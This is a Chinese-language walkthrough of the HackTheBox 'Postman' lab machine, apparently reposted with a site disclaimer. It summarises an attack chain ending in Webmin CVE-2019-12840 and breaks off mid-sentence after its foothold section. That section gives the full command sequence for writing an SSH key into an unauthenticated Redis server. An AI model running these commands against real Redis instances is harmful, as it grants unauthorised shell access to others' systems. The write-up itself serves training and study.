摘要
“邮递员”(Postman)是黑客盒子(HackTheBox)平台上一个难度评级为简单的 Linux 靶机。该靶机暴露了一个无需身份验证的 Redis 实例,允许将 SSH 公钥写入 redis 用户的 .ssh 目录,从而获得初始 Shell 访问权限。在此基础上,恢复了属于用户 马特(Matt)的加密 RSA 私钥,使用约翰破译器(John the Ripper)在离线状态下破解,并因密码复用而将该密码用于通过 su 命令切换至 马特 用户,从而获取用户标志(user flag)。对马特拥有的文件进行枚举后,发现一条提示,指向此前被忽略的位于 10000 端口的 Webmin 服务。在那里,相同的复用密码授予了对 Webmin 1.910 的管理员访问权限——该版本存在 CVE-2019-12840 漏洞,即通过软件包更新模块实现的需身份验证的远程代码执行(RCE)——最终导致获得 root Shell。
侦察
nmap -sC -sV -p- -A <机器IP> -oA nmap
开放端口:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 (Ubuntu) |
| 80 | HTTP | Apache 2.4.29 — “赛极客的个人网站” |
| 6379 | Redis | Redis 4.0.9 |
| 10000 | HTTP(最初被遗漏) | MiniServ 1.910 (Webmin),仅支持 SSL |
80 端口的网站是一个静态个人页面,未直接泄露凭据或路径。最显著的发现是 6379 端口上的 Redis 服务未配置身份验证。
通过 Redis 密钥写入获取立足点
未经身份验证连接到 Redis 后确认未设置 requirepass:
redis-cli -h <机器IP>
CONFIG GET *
值得关注的关键字段:
-
requirepass— 为空(无身份验证) -
dir—/var/lib/redis -
dbfilename—dump.rdb
由于 Redis 以系统用户 redis 运行(其主目录中有一个 .ssh 文件夹),因此可以应用经典的 Redis SSH 密钥写入技术:指示 Redis 将其数据文件直接保存到 ~redis/.ssh/authorized_keys,并将 SSH 公钥存储为 Redis 键的值。密钥周围的填充换行符可防止周围的 RDB 文件字节破坏密钥行。
(echo; echo; cat ~/.ssh/id_rsa.pub; echo; echo) | redis-cli -h <机器IP> -x set mykey
redis-cli -h <机器IP> config set dir /var/lib/redis/.ssh
redis-cli -h <机器IP> config set dbfilename authorized_keys
redis-cli -h <机器IP> save
ssh -i ~/.ssh/id_rsa redis@<机器IP>
这将获得一个作为 redis 用户(uid 107,低权限,组 redis
免责声明:本文内容来自互联网,该文观点不代表本站观点。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请到页面底部单击反馈,一经查实,本站将立刻删除。